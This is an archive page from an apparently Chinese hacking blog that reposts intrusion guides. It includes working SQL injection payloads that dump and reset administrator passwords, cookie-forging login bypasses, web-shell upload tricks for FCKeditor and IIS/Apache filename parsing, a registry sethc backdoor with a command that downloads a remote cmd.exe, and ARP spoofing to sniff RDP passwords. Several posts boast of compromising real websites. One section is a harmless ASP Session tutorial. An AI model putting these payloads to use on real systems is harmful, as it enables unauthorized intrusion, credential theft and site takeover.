浏览模式: 标准 | 列表2009年11月的文章

映象劫持提权语句

Submitted by admin
2009, November 29, 7:48 PM

t00ls.net

SA权限下有时候不能执行命令,写注册表提权

:exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe','debugger','REG_SZ','c:\\windows\\explorer.exe'
:exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe','debugger','REG_SZ','c:\\windows\\system32\\taskmgr.exe'

写注册表函数.
select regwrite("HKEY_LOCAL_MACHINE","SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe","Debugger","REG_SZ","E:\\web\\170stock\\admin\\include\\explorer.exe");

通过udf提权加上regwrite这个函数
然后改注册表,把sethc.exe 的路径改成了我们想运行的程序(比如cmd)
然后连3389,按下5次shift就执行我我们的程序,很好,就是sethc后门原理

不过管理组做了手脚,我们加到localgroup administrators的用户进不去3389

================================

select downloader("http://ssss//cmd.exe","c:\\windows\\system32\\sethc.exe");
然后迅速登录3389,shift5下..哈哈...~
因为慢点就会被文件保护机制改回去了

web和数据库分离的渗透思路

Submitted by admin
2009, November 28, 8:04 PM

Chinadu`s Blog
1.web,sql分离(sql上网),sa. 读系统用户密码或加用户反弹,种反弹型后门.

2.web,sql分离(sql不上网),sa. 把和防火墙和策略有关的服务或进程kill掉再测试是否上网 收集尽量多的密码表.sqlsniffer findpass gethashs ipc$猜web密码 vbs读系统日志查看管理员登陆IP 有可能的话导出注册表的secpol查看策略规则.

3.web,sql分离(sql上网),dbo_owner. 猜密码进web后台. 备份hta到启动项
4.web,sql分离(sql不上网),dbo_owner.猜密码进web后台.
(重点在4,在opendatasource的时候不要以为弹不到外面的1433就不上网了,可以尝试其他的端口 比如20 21 25 443 445 80等防火墙经常开放的端口)

突破防篡改 继续上传(fckeditor)例!

Submitted by admin
2009, November 26, 8:14 PM

文/饭
继SQL注入盛行,许多网站首页招致恶意的篡改,人们迫切的需要一款解决网页防篡改问题的方案,许多公司相续推出了硬件和软件,比如文中提到的IGuard防篡改系统,防篡改的原理一般基于三种,分别是外挂轮询技术、核心内嵌技术、事件触发技术.外挂轮询技术是利用一个网页检测程序,以轮询方式读出要监控的网页,与真实网页相比较,来判断网页内容的完整性,对于被篡改的网页进行报警和实时恢复.核心内嵌技术是将篡改检测模块嵌在Web服务器软件里,它在每一个网页流出时都进行完整性检查,对于篡改网页进行实时访问阻断,并予以报警和恢复.事件触发技术是利用操作系统的文件系统接口,在网页文件的被修改时进行合法性检查,对于非法操作进行报警和恢复.对于一些技术性评估,可以从下面的表里得到一些信息

1.bmp

图/三种技术评估对比表
由表可知,核心内嵌技术许是最好的防篡改解决方案了.只是在攻击手段层出不穷的今天,系统配置是否最佳和WEB应用层防护是否关乎全局,在都是些较关键的问题.
在检测一下网站时,从扫描结果得到一个
http://www.test.com.cn/admin/fckeditor/editor/filemanager/connectors/test.html
可以看出这是fckeditor的上传页面,通过点击不同的文件类型,fckeditor是支持多种文件类型文件上传的,所以,有的管理员可能根据需要不同而配置了不同的文件,可以通过选择Connector不同的文件类型,再点击”Get Folders and Files”来查看文件夹,如果存在文件夹,如下图,如果返回空白页面或者出错信息,则没有启用这类文件的上传配置.
2.bmp

通过测试发现,网站管理员配置了asp.net,并且可以在resource Type "Media"可以创建和可列目录,这条思路其实有人在网上已经提过,大致思路是通过创建asp文件夹,再往asp传送图片木马.只是没有公布怎么建立类似于x.asp这样的文件夹呢.在fckeditor里,是会对"."进行转换成"_"的.如果你输入建立"x.asp",其实建立的是"x_asp"文件夹.如图
3.bmp

提交一条这样的语句就可以
http://www.test.com.cn/admin/FckEditor/editor/filemanager/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Media&CurrentFolder=c.cdx&NewFolderName=z&uuid=1244789975684
创建一个"c.cdx"的文件夹,在提交时需要uuid参数,原理跟aps文件夹一样,在这个文件夹放置的图片文件IIS会当作asp文件来解析的.由于在默认的编辑器默认测试页面,管理员禁用了上传功能,只能允许创建目录,所以,在后台找到一处上传的地方,其URL:
http://www.testcom.cn/admin/adminimg.aspx?simage=images2&bimage=images&path=%2fadmin%2fUploadFile%2fmedia%2fz.cdx&returnpath=admin/pic&wsize=270&hsize=190
通过参数returnpath把目录直接指向“/admin/pic“,直接把它指向刚刚建立的z.cdx文件夹admin%2fUploadFile%2fmedia%2fz.cdx
http://www.testcom.cn/imgresize/imgresize.aspx?simage=images2&bimage=images&path=%2fadmin%2fUploadFile%2fmedia%2fz.cdx&returnpath=admin%2fUploadFile%2fmedia%2fz.cdx&wsize=270&hsize=190
在后台直接上传文件或者图片木马,但是原因其服务器上有iGuard,是不能执行的.如图:
4.bmp

突破iGuard其实用得也是图片木马的原理,先把一张图片和一个小马,就用比较经典的diy.asp上传文件的马.命令如下:
C:\>copy /b 图片+图片木马 图片木马

5.bmp

其主要欺骗iGuard,告诉它,"这不是寂寞,这是一张图片"
上传执行如图

6.bmp

当然还有另一种方法了,这种方法可以减少了创建特殊文件夹的过程.原理跟这个也是一样的,就是不久前让人爆出的Nday,其实传来传去很长时间了."Microsoft IIS 5.x/6.0 0解析文件名漏洞",此漏洞描述:"当文件名为x.asp;x.jpg时,Microsoft IIS会自动以asp格式来进行解析.而当文件名为x.php;x.jpg时,Microsoft IIS会自动以php格式来进行解析."上传一个这样格式的图片木马,iGuard也会放行的.只所以能成功上传,大致可以看成是iGuard对文件检测过于简单,而IIS本身的缺陷也是主要的原因

Tags: fckeditor

拿php网站手记

Submitted by admin
2009, November 20, 7:50 PM

信息来源:http://www.st999.cn/blog

文章作者: 流浪的风

日期:2009/11/20

来到一个网站--北京*****科技有限公司,把网址放到啊D里扫描下后台,后面马上跳了出来,http://www.hxco**.com/admin/login.php,试了试万能密码'or 1=1/*,结果不成功,再找找别的漏洞吧。回到主页上,随手点开一个链接,http://www.hxco**.com/xwnr.php?id=8,后面加个',提示错误

大小: 34.01 K
尺寸: 500 x 223
浏览: 46 次
点击打开新窗口浏览全图

嘿嘿,直接暴出目录了。

后面加and 1=1 返回正确,and 1=11 返回错误,可以确定存在有注入点。既然了有注入点,我们这类的懒人,当然是交给工具来处理了,对吧!

拿出穿山甲的最新版本3.0,虽然占用内存是大了点,但这工具的强大性还是值得我们菜菜去追捧的。

检测出来的是huaxin@localhost,mysql5,以及数据库物理地址,而这个huaxin@localhost用户并没有管理权限,看来只能按一般的暴库暴表暴字段的步骤了,再用穿山甲试了试猜表,结果发生错误,看来工具不行,只能手工了。

http://www.hxco**.com/xwnr.php?id=8 order by 10/* 报错,字段不对

http://www.hxco**.com/xwnr.php?id=8 order by 5/* 对了,再加两个字段吧

http://www.hxco**.com/xwnr.php?id=8 order by 7/* 报错了

http://www.hxco**.com/xwnr.php?id=8 order by 6/* 正确,看来就是6个字段了。

http://www.hxco**.com/xwnr.php?id=8 and 1=2 union select 1,2,3,4,5,6/*

结果如图:

大小: 18.36 K
尺寸: 500 x 185
浏览: 42 次
点击打开新窗口浏览全图

报错的数字是2与4和5三个数字,那么,我们再在这些数字上面输入一些mysql内置的函数看看。

在2那里,我们用user()代替,http://www.hxco**.com/xwnr.php?id=8%20and%201=2%20union%20select%201,user(),3,4,5,6/*  暴出数据huaxin@localhost,在2那里我们再改成database(),暴出数据库hx_news, 我们再手工看看这个用户有没有写权限吧,在URL后面加 and (select count(*) from mysql.user)>0/* ,结果返回错误,看来是真的没有写权限了,只能猜表了。

(还有一些其他的函数 1:system_user() 2:user() 3:current_user 4:session_user() 5:database() 6:version() 7:load_file()  这里就不多试了)

因为mysql是5.0以上的版本,我们可以用group_concat进行暴破,而不用进行无聊的猜解,下面,我们进入最重要的部分。

http://www.hxco**.com/xwnr.php?id=8 and 1=2 union select 1,2,3,4,5,6 from information_schema.tables/*  返回正确,表示我们这个语句并没有错误,那么,我们就可以添加group_concat进行利用了。

暴出所有的库名:

http://www.hxco**.com/xwnr.php?id=8 and 1=2 union select 1,group_concat

(schema_name),3,4,5,6 from information_schema.schemata--

大小: 13.27 K
尺寸: 500 x 120
浏览: 46 次
点击打开新窗口浏览全图

得到三个库:information_schema,hx,hx_news。

接着暴表
http://www.hxco**.com/xwnr.php?id=8 and 1=2 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--

大小: 10.16 K
尺寸: 500 x 134
浏览: 33 次
点击打开新窗口浏览全图

得到表名img,news,tab_user,tab_user_online,testok。

在这些个表里,看来只有tab_user有可能存储管理员的用户和密码了。

拿出多功能转换工具,把tab_user转换成16进制的,http://www.hxco**.com/xwnr.php?id=8 and 1=2 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name=0x7461625F75736572--

大小: 12.27 K
尺寸: 500 x 119
浏览: 71 次
点击打开新窗口浏览全图

得到字段名id,name,password,flag,datetime。

最后就是暴出字段的值了。

http://www.hxco**.com/xwnr.php?id=8 and 1=2 union select 1,concat_ws

(0x2b,id,name,password),3,4,5,6 from hx_news.tab_user--

大小: 10.01 K
尺寸: 500 x 116
浏览: 35 次
点击打开新窗口浏览全图

得到了2+master+bjhxadmin,ID=2,name=master,password=bjhxadmin。

好了,我们接着来到后面,输入用户名和密码登录。

大小: 26.28 K
尺寸: 400 x 401
浏览: 48 次
点击打开新窗口浏览全图

后台功能倒是不强,不过应该有我们利用的吧。。。

大小: 24.73 K
尺寸: 500 x 94
浏览: 31 次
点击打开新窗口浏览全图

在员工之家图片管理那里,竟然可以直接上传asa的文件,嘿嘿,webshell到手了。

最后的提权我也不弄了,提权不是我的所长。

大小: 73.84 K
尺寸: 500 x 373
浏览: 30 次
点击打开新窗口浏览全图

 

 

Tags: 手记

Apache 畸形php文件名执行漏洞

Submitted by admin
2009, November 19, 9:32 AM

影响版本:
未知
漏洞描述:

创建类似于“*.php.*”,的文件名,如nuanyue.com.php.jpg
上传至服务器即可运行脚本。
测试脚本:
test-image.php.jpg


< ?php phpinfo();?>

 

经测试linux as 5 + php5+ Apache/2.2.3 有效

1.bmp

 

来源 : http://www.idying.cn/

 

 

MSN Editor 漏洞

Submitted by admin
2009, November 19, 9:28 AM

这个编辑器相当的简陋,下午拿站的时候碰到了一个,没有数据库备份,也没有什么可以直接上传webshell的地方,简陋到只有一个editor的界面。

大小: 20.25 K
尺寸: 500 x 368
浏览: 43 次
点击打开新窗口浏览全图

 

简单说下利用的方法吧。
点击图片上传后会出现上传页面,地址为

http://www.xxx.cn/admin/uploadPic.asp?language=&editImageNum=0&editRemNum=

用普通的图片上传后,地址为
http://www.xxx.cn/news/uppic/41513102009204012_1.gif

记住这时候的路径

在点击图片的上传,这时候地址就变成了
http://www.xxx.cn/news/admin/uploadPic.asp?language=&editImageNum=1&editRemNum=41513102009204012

很明显。图片的地址是根据RemNum后面的编号生成的。

利用很简单 配合IIS的解析漏洞,把RemNum后面的数据修改为1.asp;41513102009204012

变成下面这个地址

http://www.xxx.cn/admin/uploadPic.asp?language=&editImageNum=0&editRemNum=1.asp;41513102009204012

然后在浏览器里打开

然后选择你的脚本木马上传

将会返回下面的地址
uppic/1.asp;41513102009204012_2.gif

然后直接打开就是我们的小马地址!

加上修补方法!

by:想你挡挡闯墙

关键代码:

             if editRemNum<>"" then               
                remNum = editRemNum
             else
                Randomize
                remNum = Int((999 - 1 + 1) * Rnd + 1)&day(date)&month(date)&year(date)&hour(time)&minute(time)&second(time)
             end if
             remFileName = remNum&"_"&(editImageNum+1)&".gif"
          end if

哎,先不讲解了 。

去掉自定义部分,只留下随即参数即可。

保留代码:

                Randomize
                remNum = Int((999 - 1 + 1) * Rnd + 1)&day(date)&month(date)&year(date)&hour(time)&minute(time)&second(time)
             end if
             remFileName = remNum&"_"&(editImageNum+1)&".gif"

 

 

来源:http://www.idying.cn/

网人信息发布系统(WRMPS)通杀0day

Submitted by admin
2009, November 19, 9:23 AM

通杀,杀官方
搜:Powered By WRMPS
1.注册-列目录
Plus/UpLoad/uploadfile.asp?Type=1&User=1&dir=...././/...././/data
Plus/UpLoad/uploadfile.asp?Type=1&User=1&dir=...././/...././/admin
这个利用不大 ,密码只取MD5前十位,2B得很.
2.COOKIE欺骗进后台
admin/admin_main.asp or admin/admin_menu.asp 
admin=ManageCode=WRMPS6&admin=a' or '1'='1&pass=a' or '1'='1&flag=,&FlagGroup=0
有些后台不需要认证码ManageCode=默认WRMPS6,如果改了就只能猜了.
进了后台,添加管理员,添加上传类型ASP, 上传过滤了某些特殊代码,wscript.shell,execute之类的,直接传加密的马或者传eval的一句话就可以了.  联系了官方的人,没理我.努力日吧..
转自红狼骚总

逍遥网店系统漏洞

Submitted by admin
2009, November 15, 10:01 PM

漏洞代码开始处
sub checklogin()
set rscheck=conn.execute("select * from buser where UserId='"&欢迎使用.cookies("buyok")("userid")&"'")
if rscheck.eof and rscheck.bof then
response.write "<script language='javascript'>"
response.write "alert('对不起,您还没有注册或登陆。');"
response.write "location.href='javascript:history.go(-1)';"
response.write "</script>"
response.end
end if
set rscheck=nothing
end sub
function checkuserkou()
if 欢迎使用.cookies("buyok")("userid")="" then
checkuserkou=10
else
checkuserkou=欢迎使用.cookies("buyok")("userkou")
if 欢迎使用.cookies("buyok")("userkou")="" then checkuserkou=10
end if
end function
sub aspsql()
end sub
sub buyok_check_path()
end Sub
'漏洞代码结束

利用方法

admin/upload.asp?fuptype=db&fupname=shopbackup&frmname=db.asp

上传GIF后缀的ASP木马,然后COOKIE欺骗后台备份数据库抓包,再然后修改数据包备份上面传上去的马。Over

Session对象

Submitted by admin
2009, November 14, 2:25 PM

ASP对象中除了用于发送(Response)、接收和处理数据(requeest)、服务器访问(Server)的对象外,还有一些非常实用的标记Active Server应用程序(Application)和单个用户信息(Session)的对象。

Session对象

该对象在ASP使用中占相当大的比例。由于网页是一种无状态程序,无法得知用户浏览状态。在ASP中,通过Session对象来记录使用者私有的数据变量,以作为用户再次对服务器提出要求时做确认,用户在程序的Web页面之间跳转时,存在Session对象中的变量将不会消失。

这些真的是很重要的功能,尤其是有会员的系统必须要用到的。像是会员的登入账号、时间、状态以及许许多多该记录的实时数据(如购物系统记录使用者的购物篮内的商品),这些信息属于各使用者私人所需要,通常开发者都是使用 Session 记录处理。

在ASP中的Session是使用Cookies构成,服务器将所有的Session内记录的数据,以Cookies的方式传至用户的浏览器。通常一般浏览器会将这些Cookies存起来,每当使用者点选连结,再次与服务器做联机时,浏览器就会把这些Cookies传回Server供做处理:这即是Session的运作原理。由此可知会话状态Session仅在支持cookie的浏览器中保留,如果客户关闭了Cookie 选项Session也就不能发挥作用了。

一、Session.SessionID

SessionID 属性返回用户的会话标识。在创建会话时,服务器会为每一个会话生成一个单独的标识,会话标识以长整形数据类型返回。在很多情况下 SessionID 可以用于 WEB 页面注册统计。

利用该属性可以解决一种对用户的控制问题。该问题的主要功能就是,针对某个网站的一个模块,当一个会员登录后正在看此模块时,另一个人用同样的会员名登录,就不能浏览这个模块:也就是说一个会员名同时只能一个人浏览此模块。

通过用会员名(假设为UserID,唯一)和SessionID来实现了控制。当会员登录时,给这个会员一个Session记录登录状态如:Session("Status")="Logged",同时把这个会员的Session.SessionID写入数据库。当他要浏览此模块时,先判断其是否登录,若已经登录再判断它的SessionID是否与数据库记录的相同,如果不同则不能访问。

这样,当另一个用户用相同的会员名登录时,那么数据库中记录的就是新的SessionID,前者访问此模块时就不能通过检查。这就实现了一个会员名同时只能一个人浏览某个模块。这个功能在一些收费网站有很有特别作用,它防止了一个会员名给多个人浏览的问题,为公司保障了利益。

<%=Session.SessionId%>

是单独生成的唯一ID标识,可刷新调试。

二、Session.TimeOut

该属性设置的Session的最大间隔时间。间隔时间是指客户器端从最近一次向Web服务器提出要求,到下一次向Web服务器提出要求的时间。可以理解为:如果用户在该超时时限之内不刷新或请求网页,则该会话将终止。Timeout 属性是以分钟为单位,为该应用程序的Session对象指定超时时限的,一般默认为20分钟。这在网吧等公共场所,登录个人信息页而忘记关闭窗口时,显得比较重要(至少可以把时间设短些)。

<%Session.TimeOut=10%>

以上SessionId、TimeOut属于Session对象的两个属性,下面看该对象的一个方法Abandon

三、Session.Abandon

该方法是Session对象的唯一方法,可以清除Session对象,用来消除用户的Session对象并释放其所占的资源。当然你如果没有明确调用Abandon方法,一旦会话超时,服务器也会将删除这些对象并释放资源。
下面就用两个页的程序来认识Session对象以及Abandon方法的利用。

1,login.asp

<%
'是提取url中变量loginout的值是否为true,若为真,就执行Session.Abandon()。
if Request.QueryString("loginout")="true" then
Session.Abandon()
end if
'只有在当点击了submit按钮的前提下,再来判断提取的东西都不为空,则建立Session对象。
submitname=request.form("submit1")
if submitname="submit" then
if Request.Form("name")<>"" and Request.Form("pwd")<>"" then
Session("name")=Request.Form("name")
Session("pw")=Request.Form("pwd")
end if
end if
%>
<%
'如果Session("name")不为空,则显示Session("name")的值,并且做一个到info.asp的链接。
if Session("name")<>"" then
response.write("你的name值是:"&Session("name"))
response.write("<br><a href='info.asp'>显示你的资料</a>")
else
'否则,即Session("name")为空不存在,则显示表单用以输入建立Session的平台。
%>
<form action="login.asp" method="post">
姓名:<input type="text" name="name"><br>
密码:<input type="password" name="pwd"><br>
<input type="submit" value="submit" name="submit1">
</form>
<!--同样做了一个到info.asp的链接。-->
<a href="info.asp">显示你的资料</a>
<%end if%>

注意Session("name")为空和不为空的时候,都做了一个到info.asp的链接,具体调试结果如何,再来看info.asp的内容。

2,info.asp

<%
'如果session对象值为空则跳转到login.asp
if session("name")="" then
    Response.Redirect("login.asp")
'否则就显示个人信息
else
    Response.Write("你的姓名:"&session("name")&"<br>")
    Response.Write("你的密码:"&session("pw")&"<br>")
end if
%>
<a href="login.asp">返回</a>
<a href="login.asp?loginout=true">退出</a>

可以看出来,info.asp页面内容的显示其实是需要条件的。那就是必须得有一个session值的存在,这样才可以显示具体的信息。这在登录系统中运用得比较多。

你可以把login.asp想象成一个登录窗口,当然我的这个比较简单(只要输入用名和密码就生产Session了),实际情况是:判断输入的用名和密码是否和数据库中的用名和密码吻合,如果正确吻合才生成Session的。然info.asp页面的作用刚好可以做为一权限页面,因为进入该页需要Session,而Session的产生是确保用名密码正确的。

所以当一开始出现表单窗口时,你点login.asp链接是打不开的,只有当提交了表单生成了Session后才能进入。这正是登录系统的精髓所在,Do You Know?:)

四、Session_OnStart

Session_OnStart属于Session对象的一类事件。它是在服务器创建新会话时发生的。服务器在执行请求的页之前先处理该脚本。Session_OnStart 事件是设置会话期变量的最佳时机,因为在访问任何页之前都会先设置它们。

对象的例程每一次启动时触发Session_OnStart事件,然后运行Session_Onstart事件的处理过程。也就是说,当服务器接收到应用程序中的URL的HTTP请求时,触发此事件,并建立一个Session对象。

当然说到Session_OnStart事件就不能不谈到一个文件Global.asa(P.S:我打算把该文件和Chat程序放在一起说的,所以现在先不作过多解释)具体用法先透露,写在Global.asa文件内部

<SCRIPT RUNAT=Server Language=VBScript>
.......
Sub Session_OnStart
.......
End Sub
.......
</SCRIPT>

五、Session_OnEnd

一看也就知道是Session对象的另一类事件了。当调用Session.Abandon方法时或者在TimeOut的时间内没有刷新,这会触发Session_OnEnd事件,然后执行里面的脚本。同样具体用法在后面将写的Global.asa文件专题中详细介绍到,简单语法如下:

<SCRIPT RUNAT=Server Language=VBScript>
.......
Sub Session_OnEnd
.......
End Sub
.......
</SCRIPT>

最后,不知道大家有没有玩过这样的一个程序:很令人讨厌的,让你永远关不掉的程序页面。
只做程序调试,不要去作弄别人。

以下文件保存为bug.html

<body onunload=javascript:window.open("bug.html")>

发现该文件关不了了?(当然你要关闭,把源代码修改下)
那现在的要求是:计算关闭的次数,如果超过多少次就可以自行关闭,那下面就采用到session

以下文件保存为bug.asp

<%if session("num") < 2 then%>
<body onunload=javascript:window.open("bug.asp")>
<%session("num")=session("num")+1%>
<%else%>
<script>
self.close()
</script>
<%end if%>

呵呵,当你关闭三次以后,窗口就再也不弹出了。了解吧:)
以上就是对Session对象的系统学习。

3389密码的嗅探实例

Submitted by admin
2009, November 11, 2:51 PM

arp欺骗加嗅探,玩黑的朋友一定不会陌生,大家玩得最多的就是在同网段中嗅探ftp的密码,所以一般都喜欢渗透的主站开个ftp,但更多的时候是主站开3389的机率要比ftp大吧,如果能直接嗅探3389岂不是更爽。
Cain是大家都熟悉的一款软件,具有arp欺骗加嗅探和密码破解的功能,具体用法就不多讲了,相信大家都会用这个。本来cain就自带了嗅探终端(3389)密码的功能,但没有听用过,以前我也没有用过这个功能,但一次无意间使用嗅探时开了嗅探3389的功能,最后其它的什么都没有嗅探到,去嗅探到了一个RDP值,打开一分析,原来3389的密码就在其中。
很多朋友看了我的blog中的那个网站的渗透,都问我怎么嗅探到3389密码的,所以我打算把这个写出来共享给大家,转载请注明。
这里给大家做一个图文教程:首先安装cain.exe,默认安装就ok.

大小: 41.79 K
尺寸: 401 x 329
浏览: 81 次
点击打开新窗口浏览全图

2.打开端口配置,设置嗅探3389端口:
大小: 41.61 K
尺寸: 313 x 364
浏览: 33 次
点击打开新窗口浏览全图

3.点击嗅探和右击扫描mac:
大小: 42.16 K
尺寸: 376 x 306
浏览: 36 次
点击打开新窗口浏览全图

4.打开arp页面,单击“+”号,打开欺骗设置:

大小: 62.11 K
尺寸: 372 x 425
浏览: 34 次
点击打开新窗口浏览全图

5.左边选网关,右边选欺骗的ip:
大小: 33.38 K
尺寸: 411 x 193
浏览: 34 次
点击打开新窗口浏览全图

6.点击欺骗按钮开始欺骗:
大小: 33.73 K
尺寸: 345 x 247
浏览: 39 次
点击打开新窗口浏览全图

7.显示欺骗到一条数据:
大小: 33.42 K
尺寸: 343 x 256
浏览: 38 次
点击打开新窗口浏览全图

8.选择arp-rdp,在右边栏中右击数据:
大小: 27.91 K
尺寸: 289 x 190
浏览: 38 次
点击打开新窗口浏览全图

9.右击后打开的文档:
大小: 48.99 K
尺寸: 500 x 291
浏览: 71 次
点击打开新窗口浏览全图

10:在文档中找到3389的管理员登录用户名和密码:
大小: 83.94 K
尺寸: 500 x 254
浏览: 34 次
点击打开新窗口浏览全图

以上在外网和内网中测试通过,可以准确地抓到管理员密码,但必须是管理员登录成功后才能抓到,其实cain利用了arp欺骗截取数据传输封包,并且能破解3389的加密协议,软件不错。

Tags: 嗅探

HZHOST域名虚拟主机管理系统sql注射漏洞(图)

Submitted by admin
2009, November 10, 8:04 PM

作者:叉叉兵
blog:www.xxbing.com

这是一个域名主机实时管理系统。在百度搜索: title: (域名主机实时管理系统) ,会找到大量采用这种系统的网站!太术语了。就是在线开通ftp.sql.web的一个管理系统。一套web程序。和IIS管理程序。实现在线开通的玩意。所以:我们可以免费申请域名和空间!!哈哈!!!

web程序方面写的非常严谨。大量的过滤。由于是商业版的程序,所以我没有源码。本来是有的,但是放在家里的电脑上。放暑假时搞的shell现在都被删了。。。我现在又比较懒,就没去弄源代码。反正大家知道怎么弄的就行了。

这又是一个文本框的注射。我真不知道作者是怎么想的。其他地方都被过滤了。就留下域名管理这里没过滤。

 

 

 

官方放暑假的时候就被我搞了一遍,过了一个月他发现了。删了我的shell。不知道他怎么知道我从那里下的手搞的他。他居然补了漏洞。先上图,再说下利用方法。

  1. 123’ UPDATE [memlst] SET u_pss=’e10adc3949ba59abbe56e057f20f883e’ WHERE u_nme=’admin’-- 

这一句是把用户admin的密码修改为123456。管理员的后台地址一般是http://www.xx.com/master
或者直接在首页登陆了按切换到管理员后台。

 

如果admin不是超级管理员,那就有三个办法。

一是自己构造语句爆出来。
二是提升自己注册的用户的权限。
三是直接爆网站路径,再来个差异备份。

第一个方法我给出一条示范语句:

  1. 123’ and (select top 1 isnull(cast([u_nme] as nvarchar(4000)),char(32))+char(94)+isnull(cast([U_pss] as nvarchar(4000)),char(32)) from (select top 2u_nme,U_pss from [hzhost]..[memlst] where 1=1 order by [u_nme]) t order by [u_nme] desc )>0-- and ’1’=’

可以同时爆出一个用户的帐号和密码。想爆出其他用户的语句自己构造吧。

第二个方法是:

  1. 123’ UPDATE [memlst] SET u_sys=6 WHERE u_nme=’你注册的用户名’--  
  2. 123’ UPDATE [memlst] SET u_pwr=2 WHERE u_nme=’你注册的用户名’-- 

这2句话就能够提升自己为超级管理员

第三个方法很麻烦。但是很有效果。直捣黄龙。。很强大。我给出如下语句,大家自己研究去吧!

  1. 爆路径语句  
  2. 第一步:建立表123’ ;drop table foofoofoo;create table foofoofoo([id] [int] identity (1,1) not null,[name] [nvarchar] (300) not null,[depth] [int] not null,[isfile] [nvarchar] (50) null);-- and ’1’=’1  
  3. 第二步:123’ ;declare @z nvarchar(4000) set @z=0x63003a005c00 insert foofoofoo execute master..xp_dirtree @z,1,1-- and ’1’=’1  
  4. 注意:0x63003a005c00 = C:\  为sql ENCODE  
  5. 其他的自己找工具去转吧!  
  6. 第三步:暴出总数 123’ and (select cast(count(*) as varchar(8000))+char(94) from foofoofoo)>0-- and ’1’=’1  
  7. 第四步:暴出你想要的文件夹名字和文件名字 123’ and 0<(select top 1 cast([isfile] as nvarchar(4000))+char(94)+cast([name] as nvarchar(4000)) from (select distinct top  1 * from foofoofoo order by isfile,name) t order by isfile desc,name desc)-- and ’1’=’1  
  8. 修改中间红色的1,依次爆出。 

至于差异备份语句。让nbsi3告诉你吧。

好了。就此结束!
QQ:178737315

Tags: 文本框

MSSQL显错模式的手工注入实现原理思考和实战

Submitted by admin
2009, November 10, 7:03 PM

by Ay暗影

    说到Mssql手工注入,本人喜欢显错模式的,为啥呢,因为你只要构造一个语句,不用你一个一个特意的去猜,程序会自动告诉你我们要的信息,省时省力,不像不显错模式的盲注,可以让你猜上个半天。进入正题,下面来说说我对显错模式原理的思考。

    显错模式,起初也是为了方便程序员修改代码,但是,这正好被我们利用了,我们故意让程序出错来爆出我们要的敏感信息。

    上次我说到过having 1=1 group by的显错模式是通过语法错误来达到我们的目的,这次我说的出错是数据转换出错,就是通过数据转换让数据发生溢出来完成我们的动作。

    我们应该都听说数据类型,比如intchar,等等。。。当我们定义好一个数据时,也就定义好了一个数据的长度,比如,int 型是4个字节的长度,如果一个数据超过了4个字节的长度的话,该数据就会发生溢出而失去准确性,从而编译软件会显示出错信息。

    在数据转换时有个规则,就是短的可以转换成长的,但是长的不能转换成短的,什么意思呢,就是比如数据库中有整型数据tinyint(一个字节长度)smallint(两个字节长度)int(四个字节长度)tinyint可以向上转化成smallintint而不会出错,但是不能反向转化把int转化为smallinttinyint,否则会发生数据溢出。为啥呢,这个应该很容易理解,一个数据本来是4个字节长度的,转换成2个字节长度的数据类型的话,这个2个字节的空间就装不下了,数据就丢失了,同理,反过来就可以了,2个字节的数据可以换到4个字节的空间里,数据是不会丢失出错的。

我在使用这个方法时用到下面两个函数

数据转换函数

convert(数据类型,表达式(就是要转换的对象))

cast(表达式 as 数据类型)


在注入时我们要用到的语句:

因为光是用group by having 不能完成我们的检测过程,所以我们要配合其他系统函数的查表功能,因为上面必须要知道表名才能利用


第一种函数

select name from sysobjects where xtype='u'  通过这个来爆第一个表

select name from sysobjects where xtype='u' and name not in('爆出来的表1''爆出来的表2'...)

一直爆下去,直到找到我们所需要的表位置


第二种函数

select table_name from information_schema.tables

select table_name from information_schema.tables where table_name not in ('爆出来的表1''爆出来的表2'...)


实战练习

目标 http://www.xxx.com/shownews.aspx?id=3

首先拿个到一个注入点,我们要判断是什么类型的数据库mssql还是access或者其他。

一、我们提交

http://www.xxx.com/shownews.aspx?id=3 and user>0

我们得到用户名是:Jxb_Ojc_Zj_Cn

大小: 35.25 K
尺寸: 500 x 162
浏览: 41 次
点击打开新窗口浏览全图

二、我们提交

http://www.xxx.com/shownews.aspx?id=3 and db_name()>0

得到数据库也是:Jxb_Ojc_Zj_Cn

大小: 44.22 K
尺寸: 500 x 178
浏览: 47 次
点击打开新窗口浏览全图

三、继续提交

http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 name from sysobjects where xtype=u and status>0))

根据返回的结果,应该不是我们要的表

大小: 35.47 K
尺寸: 500 x 170
浏览: 40 次
点击打开新窗口浏览全图

四、接着提交(这中间省了好多步相同操作,直到发现很有可能存放用户名的表)

http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 name from sysobjects where xtype=u and status>0 and name not in ('FM_Page_Class, 'D99_Tmp', 'D99_CMD')))

哈哈,之前有人用啊D检测过。。。

大小: 40.46 K
尺寸: 500 x 175
浏览: 44 次
点击打开新窗口浏览全图大小: 40.31 K
尺寸: 500 x 176
浏览: 43 次
点击打开新窗口浏览全图

五、确定了表明之后,我们来利用having 1=1 来爆出表里的列明

提交 http://www.xxx.com/shownews.aspx?id=3 select * from FM_admin having 1=1

爆出了所有的列名,哈哈,不过一般情况下是只爆出一个列,那就要用到group by了。大小: 104.78 K
尺寸: 500 x 281
浏览: 39 次
点击打开新窗口浏览全图

六、整理下我们手上的资料,我们得到了表和列,那我们就要开始爆它字段的内容了

提交: http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 adminname from fm_admin))

爆出了用户名:admin

大小: 41.94 K
尺寸: 500 x 173
浏览: 39 次
点击打开新窗口浏览全图

 

接着提交: http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 password from fm_admin))

爆出了密码:BD2C2**********BF2F4284BFDA1

大小: 42.89 K
尺寸: 500 x 179
浏览: 46 次
点击打开新窗口浏览全图

当然,还有其他密码,我们可以加一个限制条件来爆出其他用户名和密码,

分别提交: http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 adminname from fm_admin where username not in (admin)))

大小: 43.28 K
尺寸: 500 x 172
浏览: 37 次
点击打开新窗口浏览全图

